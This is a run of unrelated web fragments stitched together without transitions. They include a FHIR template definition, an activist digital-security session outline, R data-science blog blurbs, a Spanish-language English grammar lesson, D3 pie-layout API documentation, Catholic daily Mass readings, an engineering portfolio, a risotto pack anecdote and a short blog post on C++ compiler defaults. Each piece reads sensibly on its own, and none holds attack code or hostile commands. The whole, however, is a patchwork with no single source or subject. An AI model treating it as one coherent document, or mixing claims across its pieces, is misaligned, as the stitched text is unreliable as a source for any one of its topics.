For "Implementation Guide B", "Template A" is an "inferred template" because it is not directly owned by "Implementation Guide B" but it is referenced by a template/profile that is directly owned by "Implementation Guide B".


Digital Infrastructure & Security
This Session
- Exploring the Digital Infrastructure On Which We Rely
- Digital Security (in general and activist specific)
- Security Culture & Digital Infrastructure for Activism
"What do you do?"
"What do you need?"
"What does your digital infrastructure look like?"
VIDEO: How Does the Internet Work?
VIDEO: How Does Encrypted Email Work?


I have written the following post about Predictive Maintenance and flexdashboard at my company codecentric’s blog:
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Today, I have given a webinar for the Applied Epidemiology Didactic of the University of Wisconsin - Madison titled “From Biology to Industry. A Blogger’s Journey to Data Science.”
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I have written a blog post about why I love R and prefer it to other languages. The post is on my new site, but since it isn’t on R-bloggers yet I am also posting the link here:
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It’s been a long time coming but I finally moved my blog from Jekyll/Bootstrap on Github pages to blogdown, Hugo and Netlify! Moreover, I also now have my own domain name www.shirin-glander.de. :-)
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I have written the following post about Data Science for Fraud Detection at my company codecentric’s blog:
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I have written the following post about Social Network Analysis and Topic Modeling of codecentric’s Twitter friends and followers for codecentric’s blog:
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One of the many great packages of rOpenSci has implemented the open source engine Tesseract.
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Lately, I have been more and more taken with tidy principles of data analysis. They are elegant and make analyses clearer and easier to comprehend. Following the tidyverse and ggraph, I have been quite intrigued by applying tidy principles to text analysis with Julia Silge and David Robinson’s tidytext.
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In my last two posts (Part 1 and Part 2), I explored time series forecasting with the timekit package.
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In my last post, I prepared and visually explored time series data.
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Data Science is a fairly broad term and encompasses a wide range of techniques from data visualization to statistics and machine learning models. But the techniques are only tools in a - sometimes very messy - toolbox. And while it is important to know and understand these tools, here, I want to go at it from a different angle: What is the task at hand that data science tools can help tackle, and what question do we want to have answered?
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This is to announce that Münster now has its very own R users group!
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In this post, I am exploring network analysis techniques in a family network of major characters from Game of Thrones.
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This is a reply to Wojciech Indyk’s comment on yesterday’s post on autoencoders and anomaly detection with machine learning in fraud analytics:
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All my previous posts on machine learning have dealt with supervised learning. But we can also use machine learning for unsupervised learning. The latter are e.g. used for clustering and (non-linear) dimensionality reduction.
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This week, I am exploring Holger K. von Jouanne-Diedrich’s OneR package for machine learning. I am running an example analysis on world happiness data and compare the results with other machine learning models (decision trees, random forest, gradient boosting trees and neural nets).
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The classification decisions made by machine learning models are usually difficult - if not impossible - to understand by our human brains. The complexity of some of the most accurate classifiers, like neural networks, is what makes them perform so well - often with better results than achieved by humans. But it also makes them inherently hard to explain, especially to non-data scientists.
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For Easter, I wanted to have a look at the number of hares in Germany. Wild hare populations have been rapidly declining over the last 10 years but during the last three years they have at least been stable.
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Recently, I was on Gran Canaria for a vacation. So, what better way to keep up the holiday spirit a while longer than to visualize all the places we went in R!?
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In my last post, where I shared the code that I used to produce an example analysis to go along with my webinar on building meaningful models for disease prediction, I mentioned that it is advised to consider over- or under-sampling when you have unbalanced data sets. Because my focus in this webinar was on evaluating model performance, I did not want to add an additional layer of complexity and therefore did not further discuss how to specifically deal with unbalanced data.
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Today, I want to show how I use Thomas Lin Pedersen’s awesome ggraph package to plot decision trees from Random Forest models.
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Last week I showed how to build a deep neural network with h2o and rsparkling. As we could see there, it is not trivial to optimize the hyper-parameters for modeling. Hyper-parameter tuning with grid search allows us to test different combinations of hyper-parameters and find one with improved accuracy.
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Last week, I introduced how to run machine learning applications on Spark from within R, using the sparklyr package. This week, I am showing how to build feed-forward deep neural networks or multilayer perceptrons. The models in this example are built to classify ECG data into being either from healthy hearts or from someone suffering from arrhythmia. I will show how to prepare a dataset for modeling, setting weights and other modeling parameters and finally, how to evaluate model performance with the h2o package via rsparkling.
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This week I want to show how to run machine learning applications on a Spark cluster. I am using the sparklyr package, which provides a handy interface to access Apache Spark functionalities via R.
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When running an analysis, I am usually combining functions from multiple packages. Most of these packages come with their own plotting functions. And while they are certainly convenient in that they allow me to get a quick glance at the data or the output, they all have their own style.
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Today, I want to share my analysis of the World Gender Statistics dataset.
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In my last post, I built a shiny app to explore World Gender Statistics.
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I’m an avid R user and rarely use anything else for data analysis and visualisations. But while R is my go-to, in some cases, Python might actually be a better alternative.
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Machine learning uses so called features (i.e. variables or attributes) to generate predictive models. Using a suitable combination of features is essential for obtaining high precision and accuracy. Because too many (unspecific) features pose the problem of overfitting the model, we generally want to restrict the features in our models to those, that are most relevant for the response variable we want to predict. Using as few features as possible will also reduce the complexity of our models, which means it needs less time and computer power to run and is easier to understand.
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It’s no secret that Google Big Brothers most of us. But at least they allow us to access quite a lot of the data they have collected on us. Among this is the Google location history.
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With the upcoming holidays, I thought it fitting to finally explore the ttbbeer package. It contains data on beer ingredients used in US breweries from 2006 to 2015 and on the (sin) tax rates for beer, champagne, distilled spirits, wine and various tobacco items since 1862.
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This app is based on the gwascat R package and its ebicat38 database and shows trait-associated SNP locations of the human genome. You can visualize and compare the genomic locations of up to 8 traits simultaneously.
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In my last post I created a gene homology network for human genes. In this post I want to extend the network to include edges for other species.
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In last week’s post I explored whether machine learning models can be applied to predict flu deaths from the 2013 outbreak of influenza A H7N9 in China. There, I compared random forests, elastic-net regularized generalized linear models, k-nearest neighbors, penalized discriminant analysis, stabilized linear discriminant analysis, nearest shrunken centroids, single C5.0 tree and partial least squares.
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Old name/id for Network Error Logging ( network-error-logging) .
network-error-logging
Navigation Error Logging


Human bionic and machine robotics - Designing the mechanical arm.
Cerberus Drone - Demonstarting the results of programming and engineering.
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PCB design and implementation.
IoT for Smart Industry Domain
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and real-time system monitoring and optimization to offer a better and enhanced predictable and fault- tolerant system
for future proofing by implementing vibration test on equipments using FFT post-proccessing analysis.
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Non-invasive EMG system in human rehabilitation
Developing a functional bionic arm to analyse the behaviour of human motion and provide rehabilitation solution for amputated patients.
Through combining the knowledge of biology and medicine with engineering principles and practices, the study of human anatomy can be used
as preliminary steps towards the future advancement of human prosthetics and bionic devices.
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UHF Microwave Filters
Presenting the design of microwave filters using different micro-strip design arrangements at
ultra-high frequencies, resulting in better and more ideal output response of the system with minimum
signal reflection and gain loss.
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En el idioma Inglés existen distintos tiempos gramaticales, cada uno de ellos tiene sus propios usos y diferencias. En esta ocasión revisaremos los usos de Simple Present y Present Continous, asi como su contraste.
Simple Present
Se utiliza para:
- Para expresar hábitos y rutinas.
- Hechos generales.
- Acciones o situaciones repetidas.
- Emociones, estados y deseos permanentes.
- Para dar instrucciones o indicaciones.
- Para hablar de eventos programados, presentes o futuros.
Nota: El “simple present” no se utiliza para hablar de lo que está ocurriendo en este momento.
| Uso | Ejemplo |
|---|---|
| Hábitos y rutinas | He drinks tea at breakfast. She only eats fish. They watch television regularly. |
| Eventos y acciones repetidos | We catch the bus every morning. It rains every afternoon in the hot season. They drive to Monaco every summer. |
| Hechos generales | Water freezes at zero degrees. The Earth revolves around the Sun. Her mother is Peruvian. |
| Instrucciones o indicaciones | Open the packet and pour the contents into hot water. You take the No.6 bus to Watney and then the No.10 to Bedford. |
| Eventos programados | His mother arrives tomorrow. Our holiday starts on the 26th March |
| Construcciones de futuro | She’ll see you before she leaves. We’ll give it to her when she arrives. |
Estructura:
| Afirmativa | Interrogativa | Negativa |
|---|---|---|
| I think | Do I think? | I do not think |
| You think | Do you think? | You do not think |
| He thinks | Does he think? | He does not think |
| She thinks | Does she think? | She does not think |
| It thinks | Does it think? | It does not think |
| We think | Do we think? | We do not think |
| They think | Do they think? | They do not think |
Nota: En la tercera persona del singular, el verbo siempre termina en -s.
Present Continuous
Se utiliza para:
- Acción que está teniendo lugar en este momento.
- Tendencia o una acción que está sucediendo en la actualidad.
- Acción o evento futuros que ya están programados.
- Para hablar de eventos programados, presentes o futuros.
Nota: El “simple present” no se utiliza para hablar de lo que está ocurriendo en este momento.
| Uso | Ejemplo |
|---|---|
| Acción que está teniendo lugar en este momento. | You are using the Internet. You are studying English grammar. |
| Tendencia o una acción que está sucediendo en la actualidad. | Are you still working for the same company? More and more people are becoming vegetarian. |
| Acción o evento futuros que ya están programados. | We’re going on holiday tomorrow.  Are they visiting you next winter? |
| Para hablar de eventos programados, presentes o futuros. | He usually plays the drums, but he’s playing bass guitar tonight. The weather forecast was good, but it’s raining at the moment. |
Estructura:
| Afirmativa | Interrogativa | Negativa |
|---|---|---|
| I am going | Am I going? | I am not going |
| You are going | Are you going? | You aren’t going |
| He is going | Is he going? | He isn’t going |
| She is going | Is she going? | She isn’t going |
| It is going | Is it going? | It isn’t going |
| We are going | Are we going? | We aren’t going |
| They are going | Are they going? | They aren’t going |


Wiki ▸ [[API Reference]] ▸ [[Layouts]] ▸ Pie Layout
The pie layout is a convenience for computing the start and end angles of arcs that comprise a pie or donut chart:
You don’t need to use the pie layout to create a pie chart; you can just use the arc shape directly if you prefer. The pie layout simply makes it easier to convert an array of data into an array of objects with startAngle and endAngle attributes that range from 0 to 2π, which you can then pass to the arc shape generator.
# d3.layout.pie()
Constructs a new pie function with the default value accessor (number), sort comparator (descending value), start angle (0) and end angle (2π). The returned layout object is both an object and a function. That is: you can call the layout like any other function, and the layout has additional methods that change its behavior. Like other classes in D3, layouts follow the method chaining pattern where setter methods return the layout itself, allowing multiple setters to be invoked in a concise statement.
# pie(values[, index])
Evaluates the pie function on the specified array of values. An optional index may be specified, which is passed along to the start and end angle functions. The return value is an array of arc descriptors:
The elements are returned in the original order, matching values, even if a sort order is applied; this preserves the original index of each element in the values array, which is nice if you are using the index to generate a categorical color or other display property.
# pie.value([accessor])
Specifies how to extract a value from the associated data (e.g. sets the accessor function for the pie layout to use); accessor is a function which is invoked on each input value passed to pie, equivalent to calling values.map(accessor) before computing the pie layout. The function is passed two arguments: the current datum and the current index. The default value function is the built-in Number, which is similar to the identity function. If accessor is not specified, returns the current value accessor.
# pie.sort([comparator])
If comparator is specified, sets the sort order of data for the layout using the specified comparator function. Pass null
to disable sorting. If comparator is not specified, returns the current sort order. The sort order defaults to descending value. Sorting preserves the index (and z-index) of input values, affecting only the computed angles. The comparator function is invoked for pairs of data elements from the values array passed to pie. Comparator functions may also be implemented using d3.ascending or d3.descending.
# pie.startAngle([angle])
If angle is specified, sets the overall start angle of the pie layout to the specified value in radians. If angle is not specified, returns the current value, which defaults to 0. The start angle can be specified either as a constant or as a function; if a function, it is evaluated once when the pie function is called, being passed the current data and index.
# pie.endAngle([angle])
If angle is specified, sets the overall end angle of the pie layout to the specified value in radians. If angle is not specified, returns the current value, which defaults to 2π. The end angle can be specified either as a constant or as a function; if a function, it is evaluated once when the pie function is called, being passed the current data and index.
# pie.padAngle([angle])
If angle is specified, sets the pad angle of the pie layout to the specified value in radians. Adjacent arcs will be separated by the pad angle. If angle is not specified, returns the current value, which defaults to 0. The pad angle can be specified either as a constant or as a function; if a function, it is evaluated once when the pie function is called, being passed the current data and index.


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Pack number 123 is a very special pack of Dal Giardino Risotto Rice with Mushrooms that was hand crafted by Mathilda's team on the morning of Tuesday 5th May 2020. You can see their signatures on the back of the pack. Mathilda remarked "I remember that morning as we had to wait until gone 10 o'clock for the fresh mushrooms to arrive."


WEEK 34 TUESDAY
Year 1 (Year 2)
FIRST READING Daniel 2:31-45
“God will set up a kingdom which shall never be destroyed. It shall break in pieces all kingdoms.”
A reading from the Book of the Prophet Daniel
In those days: Daniel said to Nebuchadnezzar,
"You saw, O king, and behold, a great image. This
image, mighty and of exceeding brightness, stood before you, and its appearance
was frightening. The head of this image was of fine gold, its breast and arms
of silver, its belly and thighs of bronze, its legs of iron, its feet partly of
iron and partly of clay. As you looked, a stone was cut out by no human hand,
and it smote the image on its feet of iron and clay, and broke them in pieces;
then the iron, the clay, the bronze, the silver, and the gold, all together
were broken in pieces, and became like the chaff of the summer threshing
floors; and the wind carried them away, so that not a trace of them could be
found. But the stone that struck the image became a great mountain and filled
the whole earth. "This was the dream; now we will tell the king its interpretation.
 After you shall arise another kingdom inferior to you, and yet a
third kingdom of bronze, which shall rule over all the earth. And there
shall be a fourth kingdom, strong as iron, because iron breaks to pieces and
shatters all things; and like iron which crushes, it shall break and crush all
these. And as you saw the feet and toes partly of potter's clay and partly of
iron, it shall be a divided kingdom; but some of the firmness of iron shall be
in it, just as you saw iron mixed with the miry clay. And as
the toes of the feet were partly iron and partly clay, so the kingdom shall be
partly strong and partly brittle. As you saw the iron mixed with miry
clay, so they will mix with one another in marriage, but they will not hold
together, just as iron does not mix with clay. And in the days of those kings
the God of heaven will set up a kingdom which shall
never be destroyed, nor shall its sovereignty be left to another people. It
shall break in pieces all these kingdoms and bring them to an end, and it shall
stand for ever; just as you saw that a stone was cut from a mountain by no
human hand, and that it broke in pieces the iron, the bronze, the clay, the
silver, and the gold. A great God has made known to the king what shall be
hereafter. The dream is certain, and its interpretation sure."
The word of the Lord
RESPONSORIAL PSALM Daniel 3:<IP_ADDRESS>.39 (R. 35b)
R. Sing praise to him and highly exalt him for ever.
Bless the Lord, all works of the Lord, sing praise
to him and highly exalt him for ever.
R. Sing praise to him and highly exalt him for ever.
Bless the Lord, you angels of the Lord, sing praise
to him and highly exalt him for ever.
R. Sing praise to him and highly exalt him for ever.
Bless the Lord, you heavens, sing praise to him and
highly exalt him for ever.
R. Sing praise to him and highly exalt him for ever.
Bless the Lord, all waters above the heaven, sing
praise to him and highly exalt him for ever.
R. Sing praise to him and highly exalt him for ever.
Bless the Lord, all powers, sing praise to him and
highly exalt him for ever.
R. Sing praise to him and highly exalt him for ever.
FIRST READING Revelation 14:14-19
“The hour to reap has come, for the harvest of the earth is fully ripe.”
A reading from the Book of Revelation
I, John, looked, and
behold, a white cloud, and seated on the cloud one like a son of man, with a
golden crown on his head, and a sharp sickle in his hand. And another angel
came out of the temple, calling with a loud voice to him who sat upon the
cloud, "Put in your sickle, and reap, for the hour to reap has come, for
the harvest of the earth is fully ripe." So he who sat upon the cloud
swung his sickle on the earth, and the earth was reaped. And another angel came
out of the temple in heaven, and he too had a sharp sickle. Then another angel
came out from the altar, the angel who has power over fire, and he called with
a loud voice to him who had the sharp sickle, "Put in your sickle, and
gather the clusters of the vine of the earth, for its grapes are ripe." So
the angel swung his sickle on the earth and gathered the vintage of the earth,
and threw it into the great wine press of the wrath of God.
The word of the Lord
RESPONSORIAL PSALM Psalm 96:10.11-12.13 (R. 13b)
R. The Lord comes to judge the earth.
Say to the nations: 'The
LORD is king.' The world he made firm in its place; he will judge the peoples
in fairness.
R. The Lord comes to judge
the earth.
Let the heavens rejoice
and earth be glad; let the sea and all within it thunder praise. Let the land
and all it bears rejoice.
R. The Lord comes to judge
the earth.
Then will all the
trees of the wood shout for joy at the presence of the LORD, for he comes, he
comes to judge the earth. He will judge the world with justice; he will govern
the peoples with his truth.
R. The Lord comes to judge
the earth.
R. Alleluia. Be faithful unto death, says the Lord, and I will give you the crown of life. R. Alleluia.
GOSPEL Luke 21:5-11
“There shall not be left one stone upon another.”
A reading from the holy Gospel according to Luke
At that time: As some
spoke of the temple, how it was adorned with noble stones and offerings, Jesus
said, "As for these things which you see, the days will come when there
shall not be left here one stone upon another that will not be thrown
down." And they asked him, "Teacher, when will this be, and what will
be the sign when this is about to take place?" And he said, "Take
heed that you are not led astray; for many will come in my name, saying, 'I am
he!' and, 'The time is at hand!' Do not go after them. And when you hear of
wars and tumults, do not be terrified; for this must first take place, but the
end will not be at once." Then he said to them, "Nation will rise
against nation, and kingdom against kingdom; there will be great earthquakes,
and in various places famines and pestilences; and there will be terrors and
great signs from heaven.
The Gospel of the Lord


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A free, volunteer-led programming club for young people between ages 7 and 17.
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Using games and activities, we'll explore the basics of how to think like a
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From the basics of HTML, to advanced designs with CSS and interactions with
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Fun, useful, or both, making apps and games can be exciting and satisfying.
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ProbNum is first and foremost a community project.
It was originally conceived at the
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at the University of Tübingen.
ProbNum's core development team is supported by research grants of the European Research Council (ERC StG Action 757275 / PANAMA), the German Federal Ministry of Education and Research (BMBF) through both project ADIMEM (FKZ 01IS18052B) and the Tübingen AI Center (FKZ: 01IS18039A); by the German Research Union (DFG) through the DFG Cluster of Excellence “Machine Learning - New Perspectives for Science”, (EXC 2064/1, project number 390727645), and the Ministry of Science, Research and Arts of the State of Baden-Württemberg.


--- title: Analytic Data Scientists -- know when to fold 'em author: Richard Careaga date: '2018-08-12' slug: analytic-data-scientists-know-when-to-fold-em categories: - Programming tags: - debugging ---
In the days of our forebearers, if a tool broke, you were likely to fix it yourself. Long time passing, of course, the shadetree mechanic has been an endangered species. And no one would hire a carpenter who didn’t own his own tools.
I’ve been one to use my own tools. I have to admit to being, at times, cavalier about corporate policies strictly forbidding the use of employee owned computers, at least in the building. (Why it was ok remotely without VPN is something of a mystery.)
I took Admiral Hopper’s adage to heart
It’s easier to ask forgiveness than than it is to get permission.
Even with the overhead of being my own sysadm, I saved at least 90 minutes a week in boot time. The corporate XP system took (I kid you not) 20 minutes to boot and present a working GUI. In that time my Mac Pro could boot, connect to slow off-site WiFi and give me time to triage my morning email through the corporate webmail system.
However, as tools proliferate, the balance between overhead and maintenance has changed.
TIL: The default Mac and Ubuntu compilers are C++11. Not C++14 nor C++17.
In a project to get literate in C++ I learned that the preferred way to declare a constant was
const int age {25};
Since everything is up-to-date in Seattle, that’s what I did, saddening the compiler and receiving a multitude of error messages. I hit upon the idea of good ’ol C style
const int age = 25;
but I wondered what other slithery bugs awaited me.
Through the kindness of strangers, I learned of a compiler flag. I know, I know, RTFM.
And then it struck me. I’m not a programmer. I never wanted to be a programmer. I just wanted to be able to read and understand a program in a language as important as C++ and maybe write some simple programs that gave a hemibel boost to execution.
As an analytic data scientist, I want to spend my time thinking about data and ways to extract useful information from them. I can’t do that if I’m spending hours trying to figure out why syntactically valid software won’t compile.
I’ll be cultivating friendships with data engineers and programmers.


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Remote server emulation
This demo implements Remote server emulation factory, so the datasource get method looks like
datasource.get = function(index, count, success) { Server.request(index, count).then(success); };
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